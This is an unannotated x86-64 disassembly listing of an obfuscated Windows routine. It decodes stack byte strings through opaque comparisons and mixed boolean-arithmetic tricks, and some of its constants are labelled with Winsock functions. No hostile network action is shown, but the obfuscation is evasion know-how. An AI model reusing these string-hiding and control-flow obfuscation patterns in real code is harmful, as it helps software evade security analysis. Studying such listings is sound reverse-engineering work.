nop dword [rax]
cmp r8, r10
ja 0x14007d7a6
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14007cd7a
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
jmp 0x14007cdc0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007d67a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007d656
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007d63b
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007d5de
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007d5b1
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007d335
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007d316
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007d2ee
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14007d2c9
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007d2aa
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007d28b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007d270
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007d252
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007d233
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007d206
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007cdd0
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 1]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007d789
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007d76c
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007cfc9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007cfae
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007cf93
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007d1bd
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007d178
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007d13a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007d114
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007cdd0
lea rbx, [r8 + 0x41]
lea r8, [rbx + 2]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007d0e3
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14007d0c8
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007d0a5
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007d08a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007d06f
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007d04c
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007d02b
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007d007
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007cfe4
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007cdd0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 3]
jmp 0x14007cdd0
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 5
jmp 0x14007cdc0
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x59
jmp 0x14007cd50
lea ecx, [r10 + 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x49
jmp 0x14007ccf6
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007d694
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
inc r8
dec r10
inc r10
jmp 0x14007cce3
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
dec r10
inc r10
jmp 0x14007cce3
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, r9b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007d701
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14007d725
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x14007d728
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx edx, r10b
jmp 0x14007d585
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x14007d5f4
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007cce3
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
mov byte [rbp + r10 + 0x2a0], dil
inc r10
jmp 0x14007cce3
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
cmp r8, 9
jb 0x14007d12a
movzx r11d, r10b
lea ecx, [r11 - 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x74]
jmp 0x14007d694
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
cmp rbx, 8
jae 0x14007d539
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14007d4b3
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x14007d150
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x63
lea rax, [r8 + rbx]
cmp rax, 6
je 0x14007d564
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14007d464
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
jmp 0x14007d18e
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007cce3
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007d5f4
movzx edx, r10b
lea ecx, [rdx - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
jmp 0x14007d585
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14007d728
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007d725
movzx r11d, r10b
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14007d701
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007cce3
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007cce3
movzx r11d, r10b
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x14007d694
lea rcx, [r8 + 4]
cmp rbx, rcx
jae 0x14007d359
lea ecx, [r10 + 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x51
jmp 0x14007d1d3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d393
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007cce3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007d3b7
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x14007d5f4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d3de
movzx edx, r10b
lea ecx, [rdx + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x14007d585
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007d40a
movzx r11d, r10b
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007d701
cmp rbx, rcx
jne 0x14007d434
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007cce3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007d1d3
movzx r11d, r10b
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007d694
jne 0x14007d485
movzx r11d, r10b
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
jmp 0x14007d694
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007d18e
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
dec r10
inc r10
jmp 0x14007cce3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007d4e9
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007cce3
cmp rbx, rcx
jne 0x14007d50d
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007d728
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007d150
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007d725
movzx r11d, r10b
lea edx, [r11 + 0x28]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x2a0]
sub dil, al
sub dil, 0x18
add dil, dl
add dil, r9b
jmp 0x14007d701
movzx edx, r10b
lea ecx, [rdx + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x2a0]
lea edi, [r9 + rcx]
sub dil, 0x76
add dl, 0x73
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x25
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x2a0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x14007d5f4
lea ecx, [r10 - 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x57
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007cce3
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x2a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007cce3
lea ecx, [r10 + 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x71
jmp 0x14007d728
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x17
inc r8
dec r10
inc r10
jmp 0x14007cce3
movzx r11d, r10b
lea ecx, [r11 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
add r11b, 0xf
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x69
add r11b, r9b
mov byte [rbp + r10 + 0x2a0], r11b
inc r8
dec r10
inc r10
jmp 0x14007cce3
lea ecx, [r10 + 0x77]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x41
dec r10
inc r10
jmp 0x14007cce3
movzx r11d, r10b
lea edx, [r11 + 0x45]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1d
add dil, dl
add r11b, 0x41
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x39
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x2a0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007cce3
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0xd
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007cce3
sub r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x15
jmp 0x14007cce0
sub r10b, 0x35
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x73
jmp 0x14007ccc5
lea rcx, [rbp + 0x16aeb6c]
jmp 0x14007d7bf
lea rcx, [rbp + 0x6a0d85]
jmp 0x14007d7bf
lea rcx, [rbp + 0x2a0]
mov dword [rsp + 0x28], r13d
lea r12, str._.3f
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x140149040]
movss xmm2, dword [0x140144380]
lea rdx, [0x1401eb1a8]
call fcn.14003f420
mov byte [rbp + 0x2c0], WSAGetLastError
mov byte [rbp + 0x2c1], 0x86
mov byte [rbp + 0x2c2], 0x81
mov byte [rbp + 0x2c3], 0x82
mov byte [rbp + 0x2c4], 0x8e
mov byte [rbp + 0x2c5], 0x75
mov byte [rbp + 0x2c6], 0x77
mov byte [rbp + 0x2c7], 0x89
mov byte [rbp + 0x2c8], 0x77
mov byte [rbp + 0x2c9], 0x19
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2ca], xmm0
mov dword [rbp + 0x2da], eax
mov byte [rbp + 0x2de], al
movabs rsi, 0x43e6b0fd0f2fe183
movabs r14, 0x631c38e588aeed9b
movabs r15, 0xcbb412f72d8fa489
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x1f
jae 0x14007e378
movzx r9d, byte [rbp + r10 + 0x2c0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007e36f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007d8cc
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x6b
jmp 0x14007d900
je 0x14007e301
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007e2d4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007e2b3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007e26c
nop dword [rax]
cmp r8, r10
ja 0x14007e366
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007d92a
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x39
jmp 0x14007d950
je 0x14007e250
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007e20c
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007e17f
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007debd
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14007de9e
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007de7a
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007de59
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007de36
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007de14
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007ddf5
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007ddd6
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007ddbb
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14007dd8e
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007d960
lea rbx, [r8 + 5]
lea r8, [rbx + 9]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007e349
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007e32c
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007db44
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007db29
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007db0e
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007dd45
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007dcfc
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007dcbc
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007dc96
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007d960
lea rbx, [r8 + 9]
lea r8, [rbx + 2]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007dc69
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007dc4a
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007dc27
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14007dc08
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007dbea
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007dbcb
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14007dbaa
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007db82
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007db5f
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007d960
lea rbx, [r8 + 0x20]
lea r8, [rbx + 5]
jmp 0x14007d960
lea ecx, [r10 + 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x19
jmp 0x14007d950
lea ecx, [r10 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
jmp 0x14007d900
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
jmp 0x14007d896
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007e286
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007d883
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
dec r10
inc r10
jmp 0x14007d883
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx r11d, r10b
jmp 0x14007e226
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
add rbx, r8
jmp 0x14007e2e8
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007e2e8
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14007e199
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007e1c5
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d883
lea ecx, [r10 + 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x71
mov byte [rbp + r10 + 0x2c0], dil
inc r10
jmp 0x14007d883
lea ecx, [r10 + 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x65
cmp r8, 4
jb 0x14007dcac
movzx r11d, r10b
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14007e286
lea ecx, [r10 + 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3b
cmp rbx, 0x10
jae 0x14007e13b
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x14007e07b
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007dcd2
lea ecx, [r10 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
lea rax, [r8 + rbx]
cmp rax, 8
je 0x14007e162
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14007dfbe
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7f
jmp 0x14007dd12
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d883
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x14007e1c5
movzx r11d, r10b
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x14007e199
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007e2e8
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14007e2e8
movzx r11d, r10b
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007e226
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
dec r10
inc r10
jmp 0x14007d883
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x14007d883
movzx r11d, r10b
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14007e286
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007dee1
lea ecx, [r10 - 0x7d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6b
jmp 0x14007dd5b
jne 0x14007df10
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d883
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007df3c
movzx r11d, r10b
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007e199
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007df64
movzx r11d, r10b
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x14007e226
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007df8e
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
dec r10
inc r10
jmp 0x14007d883
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14007dd5b
movzx r11d, r10b
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007e286
jne 0x14007dfdf
movzx r11d, r10b
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
jmp 0x14007e286
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007e007
movzx r11d, r10b
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
jmp 0x14007e226
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e02b
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
jmp 0x14007e2e8
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007e053
movzx r11d, r10b
lea ecx, [r11 + 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x59
jmp 0x14007e199
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007dd12
lea ecx, [r10 + 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2f
jmp 0x14007e1c5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007e0b5
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007d883
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007e0dd
movzx r11d, r10b
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x14007e199
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007e109
movzx r11d, r10b
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007e226
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007dcd2
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007d883
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x2c0]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007e226
movzx r11d, r10b
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007e199
movzx r11d, r10b
